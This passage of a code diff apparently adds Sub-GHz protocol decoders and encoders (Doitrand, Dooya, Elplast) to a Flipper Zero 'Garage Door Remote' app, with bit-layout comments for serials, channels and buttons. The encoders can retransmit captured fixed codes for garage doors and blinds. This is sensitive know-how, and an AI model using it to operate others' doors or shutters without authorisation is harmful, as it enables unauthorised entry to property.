+* 0000082F5F => 00000000000000000 10 000010111101011111 
+* 0002082F5F => 00000000000100000 10 000010111101011111
+* 0200082F5F => 00010000000000000 10 000010111101011111
+* 0400082F5F => 00100000000000000 10 000010111101011111
+* 0800082F5F => 01000000000000000 10 000010111101011111
+* 1000082F5F => 10000000000000000 10 000010111101011111
+* 0020082F5F => 00000001000000000 10 000010111101011111
+* 0040082F5F => 00000010000000000 10 000010111101011111
+* 0080082F5F => 00000100000000000 10 000010111101011111
+* 0100082F5F => 00001000000000000 10 000010111101011111
+* 000008AF5F => 00000000000000000 10 001010111101011111
+* 1FE208AF5F => 11111111000100000 10 001010111101011111
+*
+* 0...9 - DIP
+* k- KEY
+*/
+    instance->cnt = (instance->data >> 24) | ((instance->data >> 15) & 0x1);
+    instance->btn = ((instance->data >> 18) & 0x3);
+}
+
+uint8_t subghz_protocol_decoder_doitrand_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_doitrand_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_doitrand_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_doitrand_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    subghz_protocol_doitrand_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 2;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%02lX%08lX\r\n"
+        "Btn:%X\r\n"
+        "DIP:" DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32) & 0xFFFFFFFF,
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.btn,
+        CNT_TO_DIP(instance->generic.cnt));
+}

applications/system/Garage Door Remote/protocols/doitrand.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_DOITRAND_NAME "Doitrand"
+
+typedef struct SubGhzProtocolDecoderDoitrand SubGhzProtocolDecoderDoitrand;
+typedef struct SubGhzProtocolEncoderDoitrand SubGhzProtocolEncoderDoitrand;
+
+extern const SubGhzProtocolDecoder subghz_protocol_doitrand_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_doitrand_encoder;
+extern const SubGhzProtocol subghz_protocol_doitrand;
+
+/**
+ * Allocate SubGhzProtocolEncoderDoitrand.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderDoitrand* pointer to a SubGhzProtocolEncoderDoitrand instance
+ */
+void* subghz_protocol_encoder_doitrand_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderDoitrand.
+ * @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
+ */
+void subghz_protocol_encoder_doitrand_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
+ */
+void subghz_protocol_encoder_doitrand_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_doitrand_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderDoitrand.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderDoitrand* pointer to a SubGhzProtocolDecoderDoitrand instance
+ */
+void* subghz_protocol_decoder_doitrand_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderDoitrand.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ */
+void subghz_protocol_decoder_doitrand_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderDoitrand.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ */
+void subghz_protocol_decoder_doitrand_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_doitrand_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_doitrand_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderDoitrand.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_doitrand_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderDoitrand.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_doitrand_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/dooya.c

@@ -0,0 +1,444 @@
+#include "dooya.h"
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#define TAG "SubGhzProtocolDooya"
+
+#define DOYA_SINGLE_CHANNEL 0xFF
+
+static const SubGhzBlockConst subghz_protocol_dooya_const = {
+    .te_short = 366,
+    .te_long = 733,
+    .te_delta = 120,
+    .min_count_bit_for_found = 40,
+};
+
+struct SubGhzProtocolDecoderDooya {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderDooya {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    DooyaDecoderStepReset = 0,
+    DooyaDecoderStepFoundStartBit,
+    DooyaDecoderStepSaveDuration,
+    DooyaDecoderStepCheckDuration,
+} DooyaDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_dooya_decoder = {
+    .alloc = subghz_protocol_decoder_dooya_alloc,
+    .free = subghz_protocol_decoder_dooya_free,
+
+    .feed = subghz_protocol_decoder_dooya_feed,
+    .reset = subghz_protocol_decoder_dooya_reset,
+
+    .get_hash_data = subghz_protocol_decoder_dooya_get_hash_data,
+    .serialize = subghz_protocol_decoder_dooya_serialize,
+    .deserialize = subghz_protocol_decoder_dooya_deserialize,
+    .get_string = subghz_protocol_decoder_dooya_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_dooya_encoder = {
+    .alloc = subghz_protocol_encoder_dooya_alloc,
+    .free = subghz_protocol_encoder_dooya_free,
+
+    .deserialize = subghz_protocol_encoder_dooya_deserialize,
+    .stop = subghz_protocol_encoder_dooya_stop,
+    .yield = subghz_protocol_encoder_dooya_yield,
+};
+
+const SubGhzProtocol subghz_protocol_dooya = {
+    .name = SUBGHZ_PROTOCOL_DOOYA_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_dooya_decoder,
+    .encoder = &subghz_protocol_dooya_encoder,
+};
+
+void* subghz_protocol_encoder_dooya_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderDooya* instance = malloc(sizeof(SubGhzProtocolEncoderDooya));
+
+    instance->base.protocol = &subghz_protocol_dooya;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_dooya_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDooya* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderDooya instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_dooya_get_upload(SubGhzProtocolEncoderDooya* instance) {
+    furi_assert(instance);
+
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send header
+    if(bit_read(instance->generic.data, 0)) {
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_dooya_const.te_long * 12 +
+                subghz_protocol_dooya_const.te_long);
+    } else {
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_dooya_const.te_long * 12 +
+                subghz_protocol_dooya_const.te_short);
+    }
+
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_short * 13);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_long * 2);
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_dooya_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDooya* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_dooya_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_dooya_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_dooya_stop(void* context) {
+    SubGhzProtocolEncoderDooya* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_dooya_yield(void* context) {
+    SubGhzProtocolEncoderDooya* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_dooya_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderDooya* instance = malloc(sizeof(SubGhzProtocolDecoderDooya));
+    instance->base.protocol = &subghz_protocol_dooya;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_dooya_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_dooya_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+    instance->decoder.parser_step = DooyaDecoderStepReset;
+}
+
+void subghz_protocol_decoder_dooya_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case DooyaDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long * 12) <
+                        subghz_protocol_dooya_const.te_delta * 20)) {
+            instance->decoder.parser_step = DooyaDecoderStepFoundStartBit;
+        }
+        break;
+
+    case DooyaDecoderStepFoundStartBit:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long * 2) <
+               subghz_protocol_dooya_const.te_delta * 3) {
+                instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+            } else {
+                instance->decoder.parser_step = DooyaDecoderStepReset;
+            }
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_dooya_const.te_short * 13) <
+            subghz_protocol_dooya_const.te_delta * 5) {
+            break;
+        } else {
+            instance->decoder.parser_step = DooyaDecoderStepReset;
+        }
+        break;
+
+    case DooyaDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = DooyaDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = DooyaDecoderStepReset;
+        }
+        break;
+
+    case DooyaDecoderStepCheckDuration:
+        if(!level) {
+            if(duration >= (subghz_protocol_dooya_const.te_long * 4)) {
+                //add last bit
+                if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_short) <
+                   subghz_protocol_dooya_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                } else if(
+                    DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_long) <
+                    subghz_protocol_dooya_const.te_delta * 2) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                } else {
+                    instance->decoder.parser_step = DooyaDecoderStepReset;
+                    break;
+                }
+                instance->decoder.parser_step = DooyaDecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_dooya_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_short) <
+                 subghz_protocol_dooya_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long) <
+                 subghz_protocol_dooya_const.te_delta * 2)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_long) <
+                 subghz_protocol_dooya_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_dooya_const.te_short) <
+                 subghz_protocol_dooya_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = DooyaDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = DooyaDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_dooya_check_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+ * 																serial       s/m  ch      key   	
+ * long press down   X * E1DC030533, 40b 			111000011101110000000011 0000 0101 0011 0011
+ * 
+ * short press down  3 * E1DC030533, 40b			111000011101110000000011 0000 0101 0011 0011
+ *                   3 * E1DC03053C, 40b 	        111000011101110000000011 0000 0101 0011 1100
+ * 	
+ * press stop        X * E1DC030555, 40b			111000011101110000000011 0000 0101 0101 0101
+ * 
+ * long press up     X * E1DC030511, 40b			111000011101110000000011 0000 0101 0001 0001
+ * 
+ * short press up    3 * E1DC030511, 40b			111000011101110000000011 0000 0101 0001 0001
+ *                   3 * E1DC03051E, 40b		    111000011101110000000011 0000 0101 0001 1110
+ *
+ * serial: 3 byte serial number
+ * s/m: single (b0000) / multi (b0001) channel console  
+ * ch: channel if single (always b0101) or multi 
+ * key: 0b00010001 - long press up
+ *      0b00011110 - short press up
+ *      0b00110011 - long press down
+ *      0b00111100 - short press down
+ *      0b01010101 - press stop 
+ *      0b01111001 - press up + down
+ *      0b10000000 - press up + stop
+ *      0b10000001 - press down + stop
+ *      0b11001100 - press P2
+ *      
+*/
+
+    instance->serial = (instance->data >> 16);
+    if((instance->data >> 12) & 0x0F) {
+        instance->cnt = (instance->data >> 8) & 0x0F;
+    } else {
+        instance->cnt = DOYA_SINGLE_CHANNEL;
+    }
+    instance->btn = instance->data & 0xFF;
+}
+
+uint8_t subghz_protocol_decoder_dooya_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_dooya_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_dooya_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_dooya_const.min_count_bit_for_found);
+}
+
+/**
+ * Get button name.
+ * @param btn Button number, 8 bit
+ */
+static const char* subghz_protocol_dooya_get_name_button(uint8_t btn) {
+    const char* btn_name;
+    switch(btn) {
+    case 0b00010001:
+        btn_name = "Up_Long";
+        break;
+    case 0b00011110:
+        btn_name = "Up_Short";
+        break;
+    case 0b00110011:
+        btn_name = "Down_Long";
+        break;
+    case 0b00111100:
+        btn_name = "Down_Short";
+        break;
+    case 0b01010101:
+        btn_name = "Stop";
+        break;
+    case 0b01111001:
+        btn_name = "Up+Down";
+        break;
+    case 0b10000000:
+        btn_name = "Up+Stop";
+        break;
+    case 0b10000001:
+        btn_name = "Down+Stop";
+        break;
+    case 0b11001100:
+        btn_name = "P2";
+        break;
+    default:
+        btn_name = "Unknown";
+        break;
+    }
+    return btn_name;
+}
+
+void subghz_protocol_decoder_dooya_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDooya* instance = context;
+
+    subghz_protocol_dooya_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 8;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%010llX\r\n"
+        "Sn:0x%08lX\r\n"
+        "Btn:%X - %s\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        instance->generic.data,
+        instance->generic.serial,
+        instance->generic.btn,
+        subghz_protocol_dooya_get_name_button(instance->generic.btn));
+    if(instance->generic.cnt == DOYA_SINGLE_CHANNEL) {
+        furi_string_cat_printf(output, "Ch:Single\r\n");
+    } else {
+        furi_string_cat_printf(output, "Ch:%lu\r\n", instance->generic.cnt);
+    }
+}

applications/system/Garage Door Remote/protocols/dooya.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_DOOYA_NAME "Dooya"
+
+typedef struct SubGhzProtocolDecoderDooya SubGhzProtocolDecoderDooya;
+typedef struct SubGhzProtocolEncoderDooya SubGhzProtocolEncoderDooya;
+
+extern const SubGhzProtocolDecoder subghz_protocol_dooya_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_dooya_encoder;
+extern const SubGhzProtocol subghz_protocol_dooya;
+
+/**
+ * Allocate SubGhzProtocolEncoderDooya.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderDooya* pointer to a SubGhzProtocolEncoderDooya instance
+ */
+void* subghz_protocol_encoder_dooya_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderDooya.
+ * @param context Pointer to a SubGhzProtocolEncoderDooya instance
+ */
+void subghz_protocol_encoder_dooya_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderDooya instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_dooya_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderDooya instance
+ */
+void subghz_protocol_encoder_dooya_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderDooya instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_dooya_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderDooya.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderDooya* pointer to a SubGhzProtocolDecoderDooya instance
+ */
+void* subghz_protocol_decoder_dooya_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderDooya.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ */
+void subghz_protocol_decoder_dooya_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderDooya.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ */
+void subghz_protocol_decoder_dooya_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_dooya_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_dooya_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderDooya.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_dooya_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderDooya.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_dooya_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderDooya instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_dooya_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/elplast.c

@@ -0,0 +1,322 @@
+#include "elplast.h"
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#define TAG "SubGhzProtocolElplast"
+
+static const SubGhzBlockConst subghz_protocol_elplast_const = {
+    .te_short = 230,
+    .te_long = 1550,
+    .te_delta = 160,
+    .min_count_bit_for_found = 18,
+};
+
+struct SubGhzProtocolDecoderElplast {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderElplast {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    ElplastDecoderStepReset = 0,
+    ElplastDecoderStepSaveDuration,
+    ElplastDecoderStepCheckDuration,
+} ElplastDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_elplast_decoder = {
+    .alloc = subghz_protocol_decoder_elplast_alloc,
+    .free = subghz_protocol_decoder_elplast_free,
+
+    .feed = subghz_protocol_decoder_elplast_feed,
+    .reset = subghz_protocol_decoder_elplast_reset,
+
+    .get_hash_data = subghz_protocol_decoder_elplast_get_hash_data,
+    .serialize = subghz_protocol_decoder_elplast_serialize,
+    .deserialize = subghz_protocol_decoder_elplast_deserialize,
+    .get_string = subghz_protocol_decoder_elplast_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_elplast_encoder = {
+    .alloc = subghz_protocol_encoder_elplast_alloc,
+    .free = subghz_protocol_encoder_elplast_free,
+
+    .deserialize = subghz_protocol_encoder_elplast_deserialize,
+    .stop = subghz_protocol_encoder_elplast_stop,
+    .yield = subghz_protocol_encoder_elplast_yield,
+};
+
+const SubGhzProtocol subghz_protocol_elplast = {
+    .name = SUBGHZ_PROTOCOL_ELPLAST_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_elplast_decoder,
+    .encoder = &subghz_protocol_elplast_encoder,
+};
+
+void* subghz_protocol_encoder_elplast_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderElplast* instance = malloc(sizeof(SubGhzProtocolEncoderElplast));
+
+    instance->base.protocol = &subghz_protocol_elplast;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 64;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_elplast_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderElplast* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderElplast instance
+ */
+static void subghz_protocol_encoder_elplast_get_upload(SubGhzProtocolEncoderElplast* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    // Send key and GAP
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_elplast_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_elplast_const.te_long * 8);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_elplast_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_elplast_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_elplast_const.te_long * 8);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_elplast_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_elplast_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderElplast* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
